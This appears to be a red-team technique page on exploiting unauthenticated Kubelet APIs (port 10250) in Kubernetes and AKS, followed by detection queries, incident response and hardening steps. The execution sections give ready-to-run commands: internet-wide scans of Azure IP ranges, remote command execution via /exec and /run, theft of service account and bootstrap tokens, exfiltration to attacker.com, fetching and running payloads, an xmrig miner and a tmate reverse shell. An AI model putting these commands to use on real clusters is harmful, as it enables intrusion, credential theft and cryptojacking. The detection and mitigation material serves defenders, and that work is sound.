MCADDF

[IA-EXPLOIT-004]: Kubelet API Unauthorized Access

Metadata

Attribute Details
Technique ID IA-EXPLOIT-004
MITRE ATT&CK v18.1 T1190 - Exploit Public-Facing Application
Tactic Initial Access
Platforms Entra ID, Azure (AKS), Kubernetes
Severity Critical
CVE N/A (Design Default / Misconfiguration)
Technique Status ACTIVE
Last Verified 2025-12-30
Affected Versions Kubernetes 1.0 - 1.31 (all versions affected by default config)
Patched In N/A - Design choice; requires manual hardening
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No specific Atomic test for Kubelet exploitation (generic RCE tests exist), (2) Kubelet is cloud-native with no Sysmon instrumentation. All section numbers have been dynamically renumbered based on applicability.


2. EXECUTIVE SUMMARY

Concept: The Kubelet is a core Kubernetes component running on every node that manages pod lifecycle. By default, Kubelet exposes an HTTPS API on port 10250 with anonymous authentication enabled (--anonymous-auth=true) and AlwaysAllow authorization (--authorization-mode=AlwaysAllow). This means any attacker with network access to port 10250 can execute arbitrary commands in any container running on that node, extract secrets, or enumerate the entire cluster. Recent honeypot research found 100+ exposed kubelet APIs on the public internet, with 27 fully exploitable for RCE.[59][60][62]

Attack Surface: Kubelet HTTPS endpoint (port 10250), read-only port 10255 (deprecated but still present), /exec, /run, /pods, /logs API endpoints, service account token mounting.

Business Impact: Attackers gain instant root-equivalent access to all containers on a node, enabling cryptojacking, data exfiltration, lateral movement to Entra ID via stolen tokens, and cluster-wide compromise. The infamous TeamTNT Hildegard campaign exploited this vulnerability to compromise 50,000+ IPs for crypto mining operations.[77][91]

Technical Context: Exploitation takes seconds—attacker discovers kubelet URL (via Shodan, IP scanning, or GitHub leaks), calls /exec endpoint with command payload, and gains execution within milliseconds. Unlike API Server attacks, Kubelet access is not logged by Kubernetes audit logs, making detection difficult.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Kubernetes v1.24 1.1.1 API server –authorization-mode not set to RBAC
CIS Kubernetes v1.24 1.4.2 Kubelet read-only port (10255) not disabled
DISA STIG SV-245839 Kubernetes API server must enforce authorization
NIST 800-53 AC-3 Access Enforcement (unauthorized API requests)
NIST 800-53 AC-6 Least Privilege (anonymous auth enabled)
GDPR Art. 32 Security of Processing (inadequate access controls)
PCI DSS 2.2 Change vendor-supplied defaults; remove unnecessary services
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27001 A.12.4.3 Logging of administrator activities

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Discovery - Shodan & Internet Scanning

# Discover exposed kubelet instances on internet
shodan search "port:10250 ssl" --limit 100
shodan search "kubernetes" --limit 100

# Scan Azure IP ranges for exposed kubelet
nmap -p 10250 --open -sV 13.64.0.0/10 > azure-kubelet-scan.txt
masscan -p10250 13.64.0.0/10 --rate=100 --output-format json > k8s-nodes.json

What to Look For:

Enumeration - Kubelet API Probing

# Test for anonymous access to kubelet
curl -sk https://<KUBELET_IP>:10250/pods/ 2>/dev/null | python3 -mjson.tool | head -20

# Test for read-only port (deprecated but sometimes enabled)
curl -k http://<KUBELET_IP>:10255/pods/ 2>/dev/null

# Enumerate running containers
curl -sk https://<KUBELET_IP>:10250/pods/ | jq '.items[] | .metadata.name,.spec.containers[].name'

Expected Output (Vulnerable):

{
  "kind": "PodList",
  "apiVersion": "v1",
  "items": [
    {
      "metadata": {"name": "nginx-5d4f6d7d9c-x8k9l", "namespace": "default"},
      "spec": {
        "containers": [
          {"name": "nginx", "image": "nginx:1.19"}
        ]
      }
    }
  ]
}

Expected Output (Hardened):

curl: (35) error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

Enumeration - Using kubeletctl

# Install kubeletctl
go get github.com/cyberark/kubeletctl
# OR
git clone https://github.com/cyberark/kubeletctl && cd kubeletctl && make build

# Enumerate kubelet
./kubeletctl -s <KUBELET_IP> scan

# List pods
./kubeletctl -s <KUBELET_IP> pods

# List containers in pod
./kubeletctl -s <KUBELET_IP> pods <namespace> <pod-name>

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Direct RCE via /exec Endpoint (curl + websocat)

Supported Versions: All (Kubernetes 1.0+)

Step 1: Identify Target Pod and Container

Objective: Locate exploitable pod to gain command execution

Command:

# Enumerate all pods on node
curl -sk "https://<KUBELET_IP>:10250/pods/" | jq '.items[] | "\(.metadata.namespace)/\(.metadata.name)/\(.spec.containers[0].name)"'

# Example output:
# "default/nginx-5d4f6d7d9c-x8k9l/nginx"
# "kube-system/coredns-558bd4d5db-9x5g2/coredns"
# "kube-system/etcd-master/etcd"

Expected Output:

default/nginx-5d4f6d7d9c-x8k9l/nginx
default/mysql-5b7f4c6d8e-k9l2m/mysql
kube-system/coredns-558bd4d5db-9x5g2/coredns

What This Means:

OpSec & Evasion:

Step 2: Open Exec Stream via /exec Endpoint

Objective: Establish interactive session to container via WebSocket

Command (Using curl + websocat):

# Install websocat
apt-get install websocat
# OR: cargo install websocat

# Open exec stream - STEP 1: Get stream ID
STREAM_URL=$(curl -sk -X POST \
  "https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -d "command=sh&command=-c&input=1&output=1&tty=1" -v 2>&1 | grep 'Location:' | cut -d' ' -f2)

# Connect via websocat
websocat "wss://<KUBELET_IP>:10250${STREAM_URL}"

Command (Simplified - Direct RCE):

# Single-command execution (non-interactive)
curl -sk -X POST \
  "https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "command=id" \
  -d "command=;" \
  -d "command=cat%20/etc/passwd" \
  -d "input=1" \
  -d "output=1" | cat

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Extract Secrets and Tokens

Objective: Steal service account tokens for API server access

Command:

# Extract service account token (mounted by default)
curl -sk -X POST \
  "https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "command=cat%20/var/run/secrets/kubernetes.io/serviceaccount/token" \
  -d "input=1" -d "output=1"

# Extract service account CA
curl -sk -X POST \
  "https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "command=cat%20/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
  -d "input=1" -d "output=1"

# Extract namespace
curl -sk -X POST \
  "https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "command=cat%20/var/run/secrets/kubernetes.io/serviceaccount/namespace" \
  -d "input=1" -d "output=1"

Expected Output:

eyJhbGciOiJSUzI1NiIsImtpZCI6IkprbXpCMWN2b3dfeG1rblAxYkFfNWhnY0JMc0ppTThLRUQzLXdtQmI5QjQifQ.eyJpc3MiOiJodHRwczovL2t1YmVybmV0ZXMuZGVmYXVsdC5zdmMuY2x1c3Rlci5sb2NhbCIsImt1YmVybmV0ZXMuaW8iOnsibmFtZXNwYWNlIjoiZGVmYXVsdCIsInBvZCI6eyJuYW1lIjoibmdpbngtNWQ0ZjZkN2Q5Yy14OGs5bCIsInVpZCI6ImVhZjk0ZDJmLTQxYjUtNDk5ZC1hOTgyLWQzNDdhNDMyMTY5NyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6ImRhNzExNGU5LTM4N2QtNDMyNS1iNjE3LWM0NjI0NjQ3NTA0MCJ9fSwibmJmIjoxNzM1NzAxMDA0LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0...

What This Means:

Exfiltration:

# Save tokens to attacker server
curl -sk -X POST "https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "command=curl" -d "command=http://attacker.com/exfil?token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  -d "input=1" -d "output=1"

METHOD 2: RCE via /run Endpoint (Simpler HTTP POST)

Supported Versions: All (Kubernetes 1.0+)

Step 1: Execute Command via /run

Objective: Execute command without WebSocket complexity

Command:

# Simple POST request to /run endpoint
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "cmd=whoami"

# Example: Download and execute malware
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "cmd=curl http://attacker.com/malware.sh | sh"

Expected Output:

root

What This Means:

Advantages over /exec:

Step 2: Deploy Cryptominer or Backdoor

Objective: Establish persistence and resource hijacking

Command (Cryptominer - xmrig):

# Deploy xmrig cryptominer (TeamTNT Hildegard pattern)
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "cmd=wget http://attacker.com/xmrig -O /tmp/xmrig && chmod +x /tmp/xmrig && /tmp/xmrig -o pool.monero.cc:3333 -u attacker@email.com -p password"

# Or inline:
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "cmd=sh -c 'wget http://attacker.com/payload.sh && bash payload.sh'"

Command (Reverse Shell - tmate):

# Establish tmate reverse shell (TeamTNT Hildegard pattern)
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "cmd=wget http://attacker.com/tmate && chmod +x /tmp/tmate && /tmp/tmate -s attacker-session"

Expected Behavior:

Impact:


METHOD 3: Lateral Movement - Bootstrap Token Extraction (AKS-Specific)

Supported Versions: AKS with Azure CNI (affected versions: Pre-patch 2024)

Step 1: Extract Node Bootstrap Configuration

Objective: Steal bootstrap tokens for node privilege escalation

Vulnerability Context: Azure WireServer exposes node bootstrap configuration with TLS bootstrap tokens.[96][101]

Command (From Container with Kubelet Access):

# Query Azure WireServer for node configuration
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "cmd=curl http://168.63.129.16/?comp=versions"

# Expected to return cluster bootstrap secrets and TLS tokens

Manual Steps (If Direct Kubelet RCE):

# On the node itself (if compromised), read bootstrap config
cat /etc/kubernetes/bootstrap-kubeconfig.conf | grep client-certificate-data

# Extract token
base64 -d <<< "CERTIFICATE_DATA_HERE" > bootstrap.crt
openssl x509 -in bootstrap.crt -text -noout

Step 2: Perform TLS Bootstrap Attack

Objective: Generate legitimate kubelet certificate for node authority

Command:

# Using stolen bootstrap token, generate kubelet cert
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
  -d "cmd=kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubeconfig.conf --kubeconfig=/tmp/kubelet.conf --cert-dir=/tmp/certs"

# Now kubelet can:
# 1. Authenticate to API server as legitimate node
# 2. Access cluster-admin resources
# 3. Read all secrets across all namespaces

Impact:


6. SPLUNK DETECTION RULES

Rule 1: Suspicious /exec or /run API Calls to Kubelet

Rule Configuration:

SPL Query:

sourcetype="kubernetes:kubelet:logs" 
  (endpoint="/exec/*" OR endpoint="/run/*" OR endpoint="/pods/*")
  AND method=POST
  AND source_ip NOT IN (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
| stats count by source_ip, endpoint, container_name, namespace
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to when the result count is greater than 0
  6. Configure ActionSend email to SOC@company.com
  7. Run query every 5 minutes

Rule 2: Service Account Token Extraction Pattern

Rule Configuration:

SPL Query:

sourcetype="kubelet_logs" 
  (command="*serviceaccount/token*" OR command="*ca.crt*")
| stats count by namespace, pod_name, source_ip, command
| search count > 0

What This Detects:


7. MICROSOFT SENTINEL DETECTION

Query 1: Unusual Kubelet API Access Pattern

Rule Configuration:

KQL Query:

KubernetesAudit
| where verb in ("exec", "run", "attach") 
  and ResourceProvider == "Kubernetes"
  and ResponseStatus contains "200" or ResponseStatus contains "202"
| extend SourceIP = parse_json(SourceIPs)[0]
| where SourceIP !matches regex @"^(10\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168\.)"
| summarize ExecCount = count() by Computer, ObjectRef.name, SourceIP
| where ExecCount > 0

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Suspicious Kubelet RCE Attempt
    • Severity: Critical
  4. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
  5. Incident settings: Enable Create incidents
  6. Click Review + create

Query 2: Service Account Token Access (Secret Exfiltration)

Rule Configuration:

KQL Query:

ContainerLog
| where LogEntry matches regex @"serviceaccount.*token|ca\.crt"
| summarize TokenAccessCount = count() by Computer, PodName, ContainerName, TimeGenerated
| where TokenAccessCount > 0
| order by TimeGenerated desc

What This Detects:


8. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious Kubelet API Access Detected”

Alert Name: “Potential Cryptocurrency Mining Detected in Container”

Manual Configuration (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select subscription
  3. Under Defender plans, enable:
    • Defender for Containers: ON
    • Defender for Kubernetes: ON
  4. Click Save
  5. Navigate to Alerts to review triggered detections

Reference: Microsoft Defender for Cloud - Kubernetes Monitoring


9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

1. Immediate Containment

Command (Isolate Compromised Node):

# Cordon the node to prevent new pod scheduling
kubectl cordon <NODE_NAME>

# Drain existing pods (careful: may disrupt services)
kubectl drain <NODE_NAME> --ignore-daemonsets --delete-emptydir-data

# In AKS: Scale down node pool
az aks nodepool scale --resource-group <RG> --cluster-name <CLUSTER> --name <NODEPOOL> --node-count 0

Manual (Azure Portal):

  1. Go to Azure PortalAKS ClusterNodes
  2. Select compromised node
  3. Click Delete (Azure will provision replacement)

2. Collect Evidence

Command (Export Kubelet Logs):

# Get kubelet logs from node
kubectl describe node <NODE_NAME> > node-description.txt

# Export container logs from all pods on node
for pod in $(kubectl get pods -A --field-selector spec.nodeName=<NODE_NAME> -o jsonpath='{.items[*].metadata.name}'); do
  kubectl logs $pod --all-containers > logs-${pod}.txt
done

# Export kubelet journal (if SSH access)
ssh azureuser@<NODE_IP> journalctl -u kubelet -o json > kubelet-journal.json

Manual (Azure Portal):

  1. Navigate to Container InstancesInsights
  2. View container logs for affected pods
  3. Export to Log Analytics for retention

3. Detect Persistence Mechanisms

Command (Check for Scheduled Tasks/Crons):

# RCE into pod and check cron
kubectl exec -it <POD_NAME> -- crontab -l

# Check for startup scripts
kubectl exec -it <POD_NAME> -- cat /etc/rc.local
kubectl exec -it <POD_NAME> -- ls -la ~/.bashrc ~/.profile

4. Remediate

Command (Delete Compromised Resources):

# Delete infected pod (automatic recreation if managed by deployment)
kubectl delete pod <POD_NAME>

# Delete node to force rebuild
az aks nodepool delete --resource-group <RG> --cluster-name <CLUSTER> --name <NODEPOOL>

# Update pod security policy to prevent future RCE
kubectl apply -f pod-security-policy-strict.yaml

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Disable Anonymous Authentication on Kubelet

Manual Steps (Kubernetes Configuration):

# /etc/kubernetes/kubelet/kubelet-config.yaml
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
authentication:
  anonymous:
    enabled: false  # CRITICAL: Disable anonymous auth
  x509:
    clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
  mode: Webhook  # CRITICAL: Use webhook authorization

Manual Steps (AKS - Terraform):

resource "azurerm_kubernetes_cluster" "aks" {
  name = "secure-aks"
  # ... other config ...
  
  # Disable local admin account (forces Entra ID auth)
  local_account_disabled = true
  
  # Enable Azure RBAC for Kubernetes authorization
  role_based_access_control_enabled = true
  azure_active_directory_role_based_access_control {
    managed                = true
    azure_rbac_enabled     = true
    admin_group_object_ids = ["GROUP_OBJECT_ID"]
  }
}

Manual Steps (AKS - Azure Portal):

  1. Go to AKS ClusterConfiguration
  2. Under Security, set:
    • “Local accounts” → Disabled
    • “Kubernetes RBAC” → Enabled
    • “Azure RBAC” → Enabled
  3. Click Save

Validation Command:

# Verify kubelet configuration
ssh azureuser@<NODE_IP>
sudo cat /etc/kubernetes/kubelet/kubelet-config.yaml | grep -A 2 "authentication:"

# Expected:
# authentication:
#   anonymous:
#     enabled: false

2. Enable Webhook Authorization on Kubelet

Manual Steps (kubelet startup arguments):

# Modify kubelet startup
sudo nano /etc/systemd/system/kubelet.service

# Add/modify:
ExecStart=/usr/bin/kubelet \
  --authorization-mode=Webhook \
  --authentication-mode=Webhook \
  --authentication-token-webhook=true \
  --anonymous-auth=false \
  --client-ca-file=/etc/kubernetes/pki/ca.crt

# Restart kubelet
sudo systemctl daemon-reload
sudo systemctl restart kubelet

3. Disable Read-Only Kubelet Port (10255)

Manual Steps:

# Ensure read-only port is disabled
sudo nano /etc/kubernetes/kubelet/kubelet-config.yaml

# Add:
readOnlyPort: 0  # Disable read-only port entirely

Priority 2: HIGH

4. Network Segmentation - Restrict Kubelet to Internal IPs

Manual Steps (AKS - Network Security Group):

  1. Go to Azure PortalNetwork Security Groups
  2. Select NSG attached to AKS VNet
  3. Click Inbound Security Rules+ Add
  4. Configure:
    • Source: IP Addresses → Your cluster VNet CIDR (e.g., 10.0.0.0/8)
    • Destination Port Ranges: 10250
    • Protocol: TCP
    • Action: Allow
    • Priority: 100
  5. Add another rule:
    • Source: Any
    • Destination Port: 10250
    • Action: Deny
    • Priority: 200

Manual Steps (Kubernetes Network Policy):

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kubelet-restrict
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          name: kube-system
    ports:
    - protocol: TCP
      port: 10250

5. Enable Azure Policy for Kubernetes (AKS)

Manual Steps:

  1. Go to Azure PortalAKS ClusterPolicies
  2. Click + Assign Policy
  3. Select policy: “Ensure kubelet anonymous auth is disabled”
  4. Scope: Your resource group
  5. Click Assign

6. Implement Pod Security Policy (PSP) / Pod Security Standards (PSS)

Manual Steps:

# Kubernetes 1.25+: Use Pod Security Standards
apiVersion: v1
kind: Namespace
metadata:
  name: restricted
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted
---
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: restricted
spec:
  privileged: false
  allowPrivilegeEscalation: false
  runAsNonRoot: true
  runAsUser:
    rule: 'MustRunAsNonRoot'
  seLinux:
    rule: 'MustRunAs'
    seLinuxOptions:
      level: "s0:c123,c456"
  capabilities:
    drop: ['ALL']

7. Enable Kubelet TLS Bootstrapping with Proper Authorization

Manual Steps:

# Create bootstrap RBAC policy (API Server side)
kubectl apply -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: kubelet-bootstrap
rules:
- apiGroups: [""]
  resources: ["configmaps"]
  verbs: ["get"]
- apiGroups: ["certificates.k8s.io"]
  resources: ["certificatesigningrequests/approval"]
  verbs: ["create", "update"]
EOF

# Bind to service account
kubectl create clusterrolebinding kubelet-bootstrap \
  --clusterrole=kubelet-bootstrap \
  --group=system:bootstrappers

Validation Command (Verify Mitigation):

# Test that anonymous auth is disabled
curl -sk https://<KUBELET_IP>:10250/pods/ 2>&1

# Expected response:
# {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}

# NOT expected (vulnerable):
# {"kind":"PodList","apiVersion":"v1",...}

Step Phase Technique Description
1 Discovery [T1526 - Cloud Service Discovery] Attacker discovers exposed Kubelet via Shodan/scanning
2 Initial Access [IA-EXPLOIT-004] Kubelet API RCE
3 Execution [T1651 - Container Administration Command] Execute arbitrary commands in container
4 Credential Access [T1552.007 - Container API] Extract service account tokens from container
5 Lateral Movement [T1550.001 - Use Alternate Authentication] Use stolen token to authenticate to API server
6 Privilege Escalation [IA-BOOTSTRAP-TOKEN Attack] Perform TLS bootstrap attack for node authority (AKS)
7 Impact [T1496 - Resource Hijacking] Deploy cryptominers for resource hijacking
8 Impact [T1537 - Transfer Data to Cloud Account] Exfiltrate cluster secrets/data

12. REAL-WORLD EXAMPLES

Example 1: TeamTNT Hildegard Cryptojacking Campaign (2021-2025)

Example 2: Mandiant - Azure WireServer Bootstrap Token Extraction (2024)

Example 3: Scattered Spider - Kubelet Abuse in Supply Chain Attack (2024)


APPENDIX: Tools & Commands Reference

kubeletctl (CyberArk)

kubelet-anon-rce (GitHub)

Shodan.io

masscan

References